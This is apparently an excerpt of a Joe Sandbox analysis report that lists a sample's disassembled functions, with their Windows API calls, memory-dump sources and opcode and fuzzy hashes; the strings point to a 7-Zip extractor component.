                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: FreeVirtual
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1263568516-0
                                                                                                                                                                                                                                                                    • Opcode ID: 6d72e914666bae49219eabba11a13ad9ab9bbbb566bb3136d3f8b9bf60c9b3e2
                                                                                                                                                                                                                                                                    • Instruction ID: a70ba3ccf7bba7712d97b97c6c871e8073b296ed52156f4166744e9350d22315
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 6d72e914666bae49219eabba11a13ad9ab9bbbb566bb3136d3f8b9bf60c9b3e2
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 45B0123074130021ED3803100C06F7721006704701F6080283501640C08A54940A450C
                                                                                                                                                                                                                                                                    Function 0041F460 Relevance: 1.3, APIs: 1, Instructions: 7COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • VirtualFree.KERNELBASE(?,00000000,00008000), ref: 0041F46C
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: FreeVirtual
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1263568516-0
                                                                                                                                                                                                                                                                    • Opcode ID: 9f334de15ea4377c3dcc1e2d63b010204d2bae3deb3de6d421981d3d219e7f4c
                                                                                                                                                                                                                                                                    • Instruction ID: 33fc066f5fa84b270ad4c9affd9831a4917eca7b80c6325b5f92c5097bda3abb
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 9f334de15ea4377c3dcc1e2d63b010204d2bae3deb3de6d421981d3d219e7f4c
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 53B01234B4070021ED3002200C05F33212173D4B00F74C0243140240C49E645409490C
                                                                                                                                                                                                                                                                    Function 004020C6 Relevance: 1.3, APIs: 1, Instructions: 4COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: free
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1294909896-0
                                                                                                                                                                                                                                                                    • Opcode ID: 6d18372f553a4260c8784dfc4935319e062f466a45b4f8eb35f54dfaf4c7857f
                                                                                                                                                                                                                                                                    • Instruction ID: 226a87e0767fb99fa91ffa5eff738aff259db31b63ab97df68a58500a5fcb26a
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 6d18372f553a4260c8784dfc4935319e062f466a45b4f8eb35f54dfaf4c7857f
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 1EA00271105200DBCA151B10EE1A45A7B61EB84752B644469F047404748B314C31BA45
                                                                                                                                                                                                                                                                    Function 0041F3C0 Relevance: 1.3, APIs: 1, Instructions: 4COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: free
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1294909896-0
                                                                                                                                                                                                                                                                    • Opcode ID: 9646088944290cb6a9bbb6f877dc956565ee3d145f49a2443389fa7ab2a4307a
                                                                                                                                                                                                                                                                    • Instruction ID: 3ad9c13e02d2fd5d6c5faae7e48d711e2cd930f46c351e98be95f5f4aa895052
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 9646088944290cb6a9bbb6f877dc956565ee3d145f49a2443389fa7ab2a4307a
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash:
                                                                                                                                                                                                                                                                    Function 0041F430 Relevance: 1.3, APIs: 1, Instructions: 4COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: free
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1294909896-0
                                                                                                                                                                                                                                                                    • Opcode ID: 7a256a9996b883d0e0384e6f83b2ac2e76cf6662c193e1fb68d43c0daec12f7c
                                                                                                                                                                                                                                                                    • Instruction ID: 1043073d38e3e4fe24458883314a3c8f4e2c835a7382361f3d4c45f0e9e684d6
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 7a256a9996b883d0e0384e6f83b2ac2e76cf6662c193e1fb68d43c0daec12f7c
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash:

                                                                                                                                                                                                                                                                    Non-executed Functions

                                                                                                                                                                                                                                                                    Function 0040451D Relevance: 4.6, APIs: 3, Instructions: 86COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00404522
                                                                                                                                                                                                                                                                    • GetLogicalDriveStringsW.KERNEL32(00000000,00000000), ref: 0040453F
                                                                                                                                                                                                                                                                    • GetLogicalDriveStringsW.KERNEL32(00000000,00000000), ref: 0040456D
                                                                                                                                                                                                                                                                      • Part of subcall function 004020C6: free.MSVCRT ref: 004020CA
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: DriveLogicalStrings$H_prologfree
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 396970233-0
                                                                                                                                                                                                                                                                    • Opcode ID: 15154d11e100147a9967cb14a96528297028237526c729e72202c2479179a654
                                                                                                                                                                                                                                                                    • Instruction ID: aac4f79d1c84f0ef70e0f70fa9253c8d4bbf503a56f5afda310f0e90e370e26a
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 15154d11e100147a9967cb14a96528297028237526c729e72202c2479179a654
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: CE2185B2E01205ABDB14EFE69D81AEEB7B8EF44314F10413FE211B32C1D6795A44C768
                                                                                                                                                                                                                                                                    Function 004058A6 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                      • Part of subcall function 00405893: GetCurrentProcess.KERNEL32(?,?,004058B4), ref: 00405898
                                                                                                                                                                                                                                                                      • Part of subcall function 00405893: GetProcessAffinityMask.KERNEL32(00000000), ref: 0040589F
                                                                                                                                                                                                                                                                    • GetSystemInfo.KERNEL32(?), ref: 004058CA
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: Process$AffinityCurrentInfoMaskSystem
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3251479945-0
                                                                                                                                                                                                                                                                    • Opcode ID: c0a34ffe727ac158d3eb02d5992bddd5be8d0188b74203df62cf93fa4022d544
                                                                                                                                                                                                                                                                    • Instruction ID: f28c632aec102c68df1386d1e90b3489f43ac309710a6f59b484895cdba877c7
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: c0a34ffe727ac158d3eb02d5992bddd5be8d0188b74203df62cf93fa4022d544
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 0AD01231A0060D97CF14FBEAD44699F7B78DE44308F4480799C01B21D1FB74D559CAA5
                                                                                                                                                                                                                                                                    Function 00410091 Relevance: 40.6, APIs: 19, Strings: 4, Instructions: 309windowCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00410096
                                                                                                                                                                                                                                                                    • SetWindowTextW.USER32(?,?), ref: 004100AD
                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,00000064), ref: 004100C0
                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,00000067), ref: 004100CC
                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,00000066), ref: 004100D6
                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,00000067), ref: 004100E6
                                                                                                                                                                                                                                                                    • ShowWindow.USER32(00000000,00000000), ref: 004100EB
                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,00000067), ref: 004100F3
                                                                                                                                                                                                                                                                    • EnableWindow.USER32(00000000,00000000), ref: 004100F8
                                                                                                                                                                                                                                                                    • SendMessageW.USER32(?,00002005,00000001,00000000), ref: 0041010F
                                                                                                                                                                                                                                                                    • SendMessageW.USER32(?,00000143,00000000,?), ref: 00410194
                                                                                                                                                                                                                                                                    • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004101A2
                                                                                                                                                                                                                                                                    • SendMessageW.USER32(?,00001003,00000001,00000000), ref: 004101C2
                                                                                                                                                                                                                                                                    • SendMessageW.USER32(?,00001003,00000000,00000000), ref: 004101D5
                                                                                                                                                                                                                                                                    • SendMessageW.USER32(?,00001061,00000002,0000000F), ref: 00410271
                                                                                                                                                                                                                                                                    • SendMessageW.USER32(?,0000101E,00000000,0000FFFF), ref: 004102BE
                                                                                                                                                                                                                                                                    • SendMessageW.USER32(?,00001009,00000000,00000000), ref: 004102D4
                                                                                                                                                                                                                                                                    • SetWindowTextW.USER32(?,?), ref: 00410430
                                                                                                                                                                                                                                                                    • PostMessageW.USER32(00000003,00000128,00010002,00000000), ref: 00410445
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: Message$Send$Item$Window$Text$EnableH_prologPostShow
                                                                                                                                                                                                                                                                    • String ID: *.*$2009-09-09 09:09$9999 MB$d
                                                                                                                                                                                                                                                                    • API String ID: 2205015233-1989021564
                                                                                                                                                                                                                                                                    • Opcode ID: 138915e1a0b757e494cf65b7e6d3ff020b4e3b989fa9d11b39872bc59c720fec
                                                                                                                                                                                                                                                                    • Instruction ID: 46f45d05857bae945931e285777822158a935d1de726526bbefba119f4074a1b
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 138915e1a0b757e494cf65b7e6d3ff020b4e3b989fa9d11b39872bc59c720fec
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 73C15D70900309ABDB21EBA1CD46BEEBBB5FF44704F10442EE651762E1DBF96985CB18
                                                                                                                                                                                                                                                                    Function 00419931 Relevance: 28.5, APIs: 13, Strings: 3, Instructions: 452COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00419936
                                                                                                                                                                                                                                                                      • Part of subcall function 00419160: _CxxThrowException.MSVCRT(?,00430368), ref: 00419183
                                                                                                                                                                                                                                                                    • memcpy.MSVCRT(?,?,?,?,?,?,?,?,0000000B,00000000,?,?), ref: 00419D28
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00430368), ref: 00419DC4
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00430368), ref: 00419DD8
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00430368), ref: 00419DEC
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00430368), ref: 00419E00
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00430368), ref: 00419E14
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00430368), ref: 00419E28
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00430368), ref: 00419E3C
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00430368), ref: 00419E50
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00430368), ref: 00419E64
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00430368), ref: 00419E78
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00430368), ref: 00419E8C
                                                                                                                                                                                                                                                                      • Part of subcall function 00418F89: _CxxThrowException.MSVCRT(?,00430328), ref: 00418F9C
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ExceptionThrow$H_prologmemcpy
                                                                                                                                                                                                                                                                    • String ID: $!$@
                                                                                                                                                                                                                                                                    • API String ID: 3273695820-2517134481
                                                                                                                                                                                                                                                                    • Opcode ID: dd451bf472b90223318371364b69a0f48680bf3061588e4bebd5c5352d1e7cb6
                                                                                                                                                                                                                                                                    • Instruction ID: 45e9e45e8876641290a4c69a48c40d66913b5c68ffa9f73400ffae3473759245
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: dd451bf472b90223318371364b69a0f48680bf3061588e4bebd5c5352d1e7cb6
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 29126A70A05249EFCF14DFA5D5A09EEBBB1BF49304F14805EE845AB352DB38AD81CB58
                                                                                                                                                                                                                                                                    Function 004200D0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 79librarystringloaderCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • GetVersionExW.KERNEL32 ref: 004200E5
                                                                                                                                                                                                                                                                    • GetModuleHandleW.KERNEL32(kernel32.dll,SetDefaultDllDirectories), ref: 00420108
                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 0042010F
                                                                                                                                                                                                                                                                    • GetSystemDirectoryW.KERNEL32(?,00000106), ref: 00420135
                                                                                                                                                                                                                                                                    • lstrlenW.KERNEL32(?), ref: 00420156
                                                                                                                                                                                                                                                                    • lstrcatW.KERNEL32(?,.dll,?,00000000), ref: 004201C5
                                                                                                                                                                                                                                                                    • LoadLibraryExW.KERNEL32(?,00000000,00000008,?,00000000), ref: 004201D3
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemVersionlstrcatlstrlen
                                                                                                                                                                                                                                                                    • String ID: .dll$SetDefaultDllDirectories$\$\$kernel32.dll
                                                                                                                                                                                                                                                                    • API String ID: 532070074-471922092
                                                                                                                                                                                                                                                                    • Opcode ID: 96b114d1556165416627816c5e72b713cd2ae0a7859ef52d8df49c0d06804019
                                                                                                                                                                                                                                                                    • Instruction ID: 7d7a015ba13d08b3d38886dbed9b42337fcaa9a661e2c097150d13e25e78250a
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 96b114d1556165416627816c5e72b713cd2ae0a7859ef52d8df49c0d06804019
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 032101303443209FD7359B60EC44BEB77E8EF49300F80482AE981E22A1D7799105CB99
                                                                                                                                                                                                                                                                    Function 00410908 Relevance: 19.9, APIs: 13, Instructions: 381windowCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 0041090D
                                                                                                                                                                                                                                                                    • SetDlgItemTextW.USER32(00000000,00000065,?), ref: 00410B44
                                                                                                                                                                                                                                                                    • SendMessageW.USER32(?,0000000B,00000000,00000000), ref: 00410B59
                                                                                                                                                                                                                                                                    • SendMessageW.USER32(?,00001009,00000000,00000000), ref: 00410B66
                                                                                                                                                                                                                                                                    • SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00410CA2
                                                                                                                                                                                                                                                                    • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00410D3B
                                                                                                                                                                                                                                                                    • SendMessageW.USER32(?,0000102B,00000000,?), ref: 00410D67
                                                                                                                                                                                                                                                                    • SendMessageW.USER32(?,00001030,?,00410E1C), ref: 00410D76
                                                                                                                                                                                                                                                                    • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00410D83
                                                                                                                                                                                                                                                                    • SendMessageW.USER32(?,0000102B,00000000,?), ref: 00410DAD
                                                                                                                                                                                                                                                                    • SendMessageW.USER32(?,00001013,00000000,00000000), ref: 00410DC5
                                                                                                                                                                                                                                                                    • SendMessageW.USER32(?,0000000B,00000001,00000000), ref: 00410DCE
                                                                                                                                                                                                                                                                    • InvalidateRect.USER32(?,00000000,00000001,?,00410E1C,?,?), ref: 00410DD5
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: MessageSend$H_prologInvalidateItemRectText
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3901109532-0
                                                                                                                                                                                                                                                                    • Opcode ID: 52792b2347db6756741313725b573ceddf7fa8b59547ea93183840542f607ee9
                                                                                                                                                                                                                                                                    • Instruction ID: 10a3b9b8b4942666b2ef8259af61144fb93e38340c73d8bb7bb3ab3e175642b3
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 52792b2347db6756741313725b573ceddf7fa8b59547ea93183840542f607ee9
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 6BE18F70900218EEDF21EFA0C955BDDBBB4BF14308F1040AAE545771E2DBB96E85CB59
                                                                                                                                                                                                                                                                    Function 00406B3E Relevance: 16.4, APIs: 13, Instructions: 196COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,0042CC1C,00000010), ref: 00406B57
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,0042B438,00000010), ref: 00406B74
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,0042B388,00000010), ref: 00406B87
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: memcmp
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1475443563-0
                                                                                                                                                                                                                                                                    • Opcode ID: 7163771f9f8ce3d414a83a81811e60c6687f0779cf8105fbdb7fca2909713623
                                                                                                                                                                                                                                                                    • Instruction ID: afa1774769d7065731bcaf95650e4593b13d72d9644e5858bdcd03abfe600760
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 7163771f9f8ce3d414a83a81811e60c6687f0779cf8105fbdb7fca2909713623
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 9451B371704625ABE7209A21EC41B6B33ACDE24788B51046AFC47E7285E73CFE15C6ED
                                                                                                                                                                                                                                                                    Function 00414A4A Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 72windowCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00414A4F
                                                                                                                                                                                                                                                                    • MessageBoxW.USER32(00000000,Progress Error,7-Zip,00000010), ref: 00414B37
                                                                                                                                                                                                                                                                      • Part of subcall function 00414B7A: LoadCursorW.USER32(00000000,00007F02), ref: 00414B84
                                                                                                                                                                                                                                                                      • Part of subcall function 00414B7A: SetCursor.USER32(00000000,?,00414A7A,?,?,00000000,?,?,?,?,00000000,00000000,00000000), ref: 00414B91
